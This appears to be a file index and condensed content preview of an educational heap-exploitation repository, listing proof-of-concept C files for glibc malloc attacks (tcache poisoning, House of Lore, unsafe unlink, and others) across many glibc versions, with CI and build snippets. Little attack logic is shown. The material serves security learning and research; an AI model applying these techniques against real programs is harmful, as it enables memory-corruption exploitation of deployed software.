function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.37/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.37/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.37/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.37/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.37/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.37/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.37/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.37/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.37/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.37/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.37/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.37/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.37/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.37/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.37/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.37/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.38/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.38/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.38/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.38/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.38/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.38/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.38/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.38/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.38/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.38/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.38/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.38/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.38/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.38/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.38/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.38/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.38/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.38/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.38/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.38/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.38/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.38/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.38/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.38/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.39/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.39/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.39/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.39/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.39/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.39/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.39/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.39/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.39/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.39/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.39/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.39/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.39/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.39/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.39/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.39/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.39/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.39/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.39/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.39/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.39/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.39/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.39/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.39/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.40/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.40/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.40/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.40/fastbin_dup_into_stack.c
function main (line 5) | int main()
FILE: glibc_2.40/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.40/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.40/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.40/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.40/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.40/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.40/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.40/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.40/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.40/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.40/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.40/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.40/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.40/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.40/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.40/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.40/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.40/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.40/tcache_stashing_unlink_attack.c
function main (line 5) | int main(){
FILE: glibc_2.40/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.41/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.41/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.41/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.41/fastbin_dup_into_stack.c
function main (line 6) | int main()
FILE: glibc_2.41/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.41/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.41/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.41/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.41/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.41/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.41/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.41/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.41/large_bin_attack.c
function main (line 22) | int main(){
FILE: glibc_2.41/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.41/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.41/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.41/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.41/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.41/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.41/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.41/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.41/tcache_relative_write.c
function main (line 6) | int main(void)
FILE: glibc_2.41/unsafe_unlink.c
function main (line 9) | int main()
FILE: glibc_2.42/decrypt_safe_linking.c
function decrypt (line 5) | long decrypt(long cipher)
function main (line 26) | int main()
FILE: glibc_2.42/fastbin_dup.c
function main (line 5) | int main()
FILE: glibc_2.42/fastbin_dup_consolidate.c
function main (line 32) | int main() {
FILE: glibc_2.42/fastbin_dup_into_stack.c
function main (line 6) | int main()
FILE: glibc_2.42/fastbin_reverse_into_tcache.c
function main (line 8) | int main(){
FILE: glibc_2.42/house_of_botcake.c
function main (line 9) | int main()
FILE: glibc_2.42/house_of_einherjar.c
function main (line 7) | int main()
FILE: glibc_2.42/house_of_lore.c
function jackpot (line 30) | void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
function main (line 32) | int main(int argc, char * argv[]){
FILE: glibc_2.42/house_of_mind_fastbin.c
function main (line 107) | int main(){
FILE: glibc_2.42/house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.42/house_of_tangerine.c
function main (line 55) | int main() {
FILE: glibc_2.42/house_of_water.c
function dump_memory (line 31) | void dump_memory(void *addr, unsigned long count) {
function main (line 37) | int main(void) {
FILE: glibc_2.42/mmap_overlapping_chunks.c
function main (line 12) | int main()
FILE: glibc_2.42/overlapping_chunks.c
function main (line 15) | int main(int argc , char* argv[])
FILE: glibc_2.42/poison_null_byte.c
function main (line 6) | int main()
FILE: glibc_2.42/safe_link_double_protect.c
function main (line 29) | int main(void) {
FILE: glibc_2.42/sysmalloc_int_free.c
function main (line 43) | int main() {
FILE: glibc_2.42/tcache_house_of_spirit.c
function main (line 5) | int main()
FILE: glibc_2.42/tcache_metadata_hijacking.c
function main (line 5) | int main()
FILE: glibc_2.42/tcache_metadata_poisoning.c
type tcache_metadata (line 19) | struct tcache_metadata {
function main (line 24) | int main() {
FILE: glibc_2.42/tcache_poisoning.c
function main (line 6) | int main()
FILE: glibc_2.42/unsafe_unlink.c
function main (line 9) | int main()
FILE: malloc_playground.c
function print_mcheck_status (line 9) | void print_mcheck_status(enum mcheck_status s)
function report_mcheck_fail (line 18) | void report_mcheck_fail(enum mcheck_status s)
function main (line 29) | int main(int argc, char ** argv) {
FILE: obsolete/glibc_2.27/tcache_dup.c
function main (line 5) | int main()
Condensed preview — 366 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (1,854K chars).
[
{
"path": ".github/workflows/ci.yml",
"chars": 5012,
"preview": "name: CI\n\non:\n push:\n branches:\n - \"**\"\n pull_request:\n workflow_dispatch:\n\njobs:\n v2_23:\n runs-on: ubuntu-"
},
{
"path": ".gitignore",
"chars": 195,
"preview": "glibc_build\nglibc_src\nglibc_versions\n.gdb_history\n\n# ignore binaries in root\ncalc_tcache_idx\nfirst_fit\nmalloc_playground"
},
{
"path": ".gitmodules",
"chars": 170,
"preview": "[submodule \"glibc-all-in-one\"]\n\tpath = glibc-all-in-one\n\t#url = https://github.com/matrix1001/glibc-all-in-one.git\n\turl "
},
{
"path": "Dockerfile",
"chars": 311,
"preview": "from ubuntu:20.04\n\nrun apt-get update && apt-get install -y binutils git make vim gcc patchelf python-is-python3 python3"
},
{
"path": "LICENSE",
"chars": 1067,
"preview": "MIT License\n\nCopyright (c) 2020 Shellphish\n\nPermission is hereby granted, free of charge, to any person obtaining a copy"
},
{
"path": "Makefile",
"chars": 3167,
"preview": ".PHONY: help clean distclean all test\n\nVERSIONS := 2.23 2.24 2.27 2.31 2.32 2.33 2.34 2.35 2.36 2.37 2.38 2.39 2.40 2.41"
},
{
"path": "README.md",
"chars": 20246,
"preview": "# Educational Heap Exploitation\n\nThis repo is for learning various heap exploitation techniques.\nWe use Ubuntu's Libc re"
},
{
"path": "calc_tcache_idx.c",
"chars": 3128,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <malloc.h>\n\n\nstruct malloc_chunk {\n\n size_t mc"
},
{
"path": "ci/build/Dockerfile",
"chars": 140,
"preview": "FROM base\n\nRUN apt-get update && apt-get install -y make git gcc\n\nCMD bash -c \"cd /how2heap && make all && cp $(which ma"
},
{
"path": "ci/build/action.yml",
"chars": 763,
"preview": "name: 'build how2heap'\ndescription: 'build how2heap on the targeted ubuntu docker'\ninputs:\n ubuntu:\n description: 'b"
},
{
"path": "ci/test/action.yml",
"chars": 662,
"preview": "name: 'test how2heap'\ndescription: 'test how2heap on the targeted ubuntu docker'\ninputs:\n ubuntu:\n description: 'bui"
},
{
"path": "first_fit.c",
"chars": 1551,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file doesn't demonstrate"
},
{
"path": "glibc_2.23/fastbin_dup.c",
"chars": 1075,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file demonstrates a simp"
},
{
"path": "glibc_2.23/fastbin_dup_consolidate.c",
"chars": 3211,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
},
{
"path": "glibc_2.23/fastbin_dup_into_stack.c",
"chars": 1891,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking ma"
},
{
"path": "glibc_2.23/house_of_einherjar.c",
"chars": 4750,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\n/*\n Credit to st4g"
},
{
"path": "glibc_2.23/house_of_force.c",
"chars": 4991,
"preview": "/*\n\n This PoC works also with ASLR enabled.\n It will overwrite a GOT entry so in order to apply exactly this techniq"
},
{
"path": "glibc_2.23/house_of_gods.c",
"chars": 15046,
"preview": "/* House of Gods PoC */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n#include <inttyp"
},
{
"path": "glibc_2.23/house_of_lore.c",
"chars": 4635,
"preview": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of sm"
},
{
"path": "glibc_2.23/house_of_mind_fastbin.c",
"chars": 9543,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.23/house_of_orange.c",
"chars": 11103,
"preview": "#define _GNU_SOURCE\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/syscall"
},
{
"path": "glibc_2.23/house_of_roman.c",
"chars": 16229,
"preview": "#define _GNU_SOURCE /* for RTLD_NEXT */\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <string."
},
{
"path": "glibc_2.23/house_of_spirit.c",
"chars": 2297,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file demonstrates the house of spirit attack"
},
{
"path": "glibc_2.23/house_of_storm.c",
"chars": 8684,
"preview": "/*\n\nPOC for House of Storm on 2.23\n\nFor 2.26-2.28, the tcache will need to \nbe full for this to work. After this, \na pat"
},
{
"path": "glibc_2.23/large_bin_attack.c",
"chars": 4424,
"preview": "/*\n\n This technique is taken from\n https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/\n\n [...]\n\n "
},
{
"path": "glibc_2.23/mmap_overlapping_chunks.c",
"chars": 6676,
"preview": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions"
},
{
"path": "glibc_2.23/overlapping_chunks.c",
"chars": 2927,
"preview": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adv"
},
{
"path": "glibc_2.23/overlapping_chunks_2.c",
"chars": 3278,
"preview": "/*\n Yet another simple tale of overlapping chunk.\n\n This technique is taken from\n https://loccs.sjtu.edu.cn/wiki/lib/exe"
},
{
"path": "glibc_2.23/poison_null_byte.c",
"chars": 4399,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.23/sysmalloc_int_free.c",
"chars": 6346,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.23/unsafe_unlink.c",
"chars": 3232,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr"
},
{
"path": "glibc_2.23/unsorted_bin_attack.c",
"chars": 1544,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main(){\n\tfprintf(stderr, \"This file demonstrates unsorted bin attack by writ"
},
{
"path": "glibc_2.23/unsorted_bin_into_stack.c",
"chars": 1552,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <assert.h>\n\nvoid jackpot(){ prin"
},
{
"path": "glibc_2.24/fastbin_dup.c",
"chars": 1086,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file demonstrates a simp"
},
{
"path": "glibc_2.24/fastbin_dup_consolidate.c",
"chars": 3211,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
},
{
"path": "glibc_2.24/fastbin_dup_into_stack.c",
"chars": 1891,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking ma"
},
{
"path": "glibc_2.24/house_of_einherjar.c",
"chars": 4750,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n\n/*\n Credit to st4g"
},
{
"path": "glibc_2.24/house_of_force.c",
"chars": 4991,
"preview": "/*\n\n This PoC works also with ASLR enabled.\n It will overwrite a GOT entry so in order to apply exactly this techniq"
},
{
"path": "glibc_2.24/house_of_gods.c",
"chars": 15046,
"preview": "/* House of Gods PoC */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n#include <inttyp"
},
{
"path": "glibc_2.24/house_of_lore.c",
"chars": 4635,
"preview": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of sm"
},
{
"path": "glibc_2.24/house_of_mind_fastbin.c",
"chars": 9543,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.24/house_of_roman.c",
"chars": 16229,
"preview": "#define _GNU_SOURCE /* for RTLD_NEXT */\n#include <stdlib.h>\n#include <stdio.h>\n#include <stdint.h>\n#include <string."
},
{
"path": "glibc_2.24/house_of_spirit.c",
"chars": 2297,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file demonstrates the house of spirit attack"
},
{
"path": "glibc_2.24/house_of_storm.c",
"chars": 8684,
"preview": "/*\n\nPOC for House of Storm on 2.23\n\nFor 2.26-2.28, the tcache will need to \nbe full for this to work. After this, \na pat"
},
{
"path": "glibc_2.24/large_bin_attack.c",
"chars": 4424,
"preview": "/*\n\n This technique is taken from\n https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/\n\n [...]\n\n "
},
{
"path": "glibc_2.24/mmap_overlapping_chunks.c",
"chars": 6676,
"preview": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions"
},
{
"path": "glibc_2.24/overlapping_chunks.c",
"chars": 2927,
"preview": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adv"
},
{
"path": "glibc_2.24/overlapping_chunks_2.c",
"chars": 3278,
"preview": "/*\n Yet another simple tale of overlapping chunk.\n\n This technique is taken from\n https://loccs.sjtu.edu.cn/wiki/lib/exe"
},
{
"path": "glibc_2.24/poison_null_byte.c",
"chars": 4399,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.24/sysmalloc_int_free.c",
"chars": 6346,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.24/unsafe_unlink.c",
"chars": 3232,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr"
},
{
"path": "glibc_2.24/unsorted_bin_attack.c",
"chars": 1544,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n\nint main(){\n\tfprintf(stderr, \"This file demonstrates unsorted bin attack by writ"
},
{
"path": "glibc_2.24/unsorted_bin_into_stack.c",
"chars": 1552,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <assert.h>\n\nvoid jackpot(){ prin"
},
{
"path": "glibc_2.27/fastbin_dup.c",
"chars": 1171,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.27/fastbin_dup_consolidate.c",
"chars": 4247,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
},
{
"path": "glibc_2.27/fastbin_dup_into_stack.c",
"chars": 2371,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_"
},
{
"path": "glibc_2.27/fastbin_reverse_into_tcache.c",
"chars": 3860,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main"
},
{
"path": "glibc_2.27/house_of_botcake.c",
"chars": 3073,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\n\nint main()\n{\n /*\n * This attack "
},
{
"path": "glibc_2.27/house_of_einherjar.c",
"chars": 5015,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.27/house_of_force.c",
"chars": 4991,
"preview": "/*\n\n This PoC works also with ASLR enabled.\n It will overwrite a GOT entry so in order to apply exactly this techniq"
},
{
"path": "glibc_2.27/house_of_lore.c",
"chars": 5467,
"preview": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of sm"
},
{
"path": "glibc_2.27/house_of_mind_fastbin.c",
"chars": 9822,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.27/house_of_spirit.c",
"chars": 2634,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demons"
},
{
"path": "glibc_2.27/house_of_storm.c",
"chars": 9933,
"preview": "/*\n\nPOC for House of Storm on 2.26\n\nFor 2.26-2.28, the tcache will need to \nbe full for this to work. After this, \na pat"
},
{
"path": "glibc_2.27/house_of_tangerine.c",
"chars": 5578,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.27/large_bin_attack.c",
"chars": 4280,
"preview": "/*\n\n This technique is taken from\n https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/\n\n [...]\n\n "
},
{
"path": "glibc_2.27/mmap_overlapping_chunks.c",
"chars": 6676,
"preview": "#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#include <unistd.h>\n\n/*\nTechnique should work on all versions"
},
{
"path": "glibc_2.27/overlapping_chunks.c",
"chars": 2839,
"preview": "/*\n\n A simple tale of overlapping chunk.\n This technique is taken from\n http://www.contextis.com/documents/120/Glibc_Adv"
},
{
"path": "glibc_2.27/poison_null_byte.c",
"chars": 4279,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\n"
},
{
"path": "glibc_2.27/sysmalloc_int_free.c",
"chars": 6489,
"preview": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n"
},
{
"path": "glibc_2.27/tcache_house_of_spirit.c",
"chars": 2183,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.27/tcache_metadata_poisoning.c",
"chars": 2141,
"preview": "#include <assert.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// Tcache metadata poisoning attack\n// ="
},
{
"path": "glibc_2.27/tcache_poisoning.c",
"chars": 1516,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\nint main()\n{\n\t// disable buffering\n\tsetb"
},
{
"path": "glibc_2.27/tcache_stashing_unlink_attack.c",
"chars": 3625,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n unsigned long stack_var[0x10] = {0};\n uns"
},
{
"path": "glibc_2.27/unsafe_unlink.c",
"chars": 3237,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr"
},
{
"path": "glibc_2.27/unsorted_bin_attack.c",
"chars": 1858,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main(){\n\tfprintf(stderr, \"This technique only works with"
},
{
"path": "glibc_2.27/unsorted_bin_into_stack.c",
"chars": 1753,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <assert.h>\n\nvoid jackpot(){ prin"
},
{
"path": "glibc_2.31/fastbin_dup.c",
"chars": 1171,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demo"
},
{
"path": "glibc_2.31/fastbin_dup_consolidate.c",
"chars": 4247,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-tod"
},
{
"path": "glibc_2.31/fastbin_dup_into_stack.c",
"chars": 2371,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_"
},
{
"path": "glibc_2.31/fastbin_reverse_into_tcache.c",
"chars": 3860,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main"
},
{
"path": "glibc_2.31/house_of_botcake.c",
"chars": 3073,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <assert.h>\n\n\nint main()\n{\n /*\n * This attack "
},
{
"path": "glibc_2.31/house_of_einherjar.c",
"chars": 5907,
"preview": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n /*\n"
},
{
"path": "glibc_2.31/house_of_io.c",
"chars": 4123,
"preview": "#include <assert.h>\n#include <malloc.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// House of Io - Use"
},
{
"path": "glibc_2.31/house_of_lore.c",
"chars": 5467,
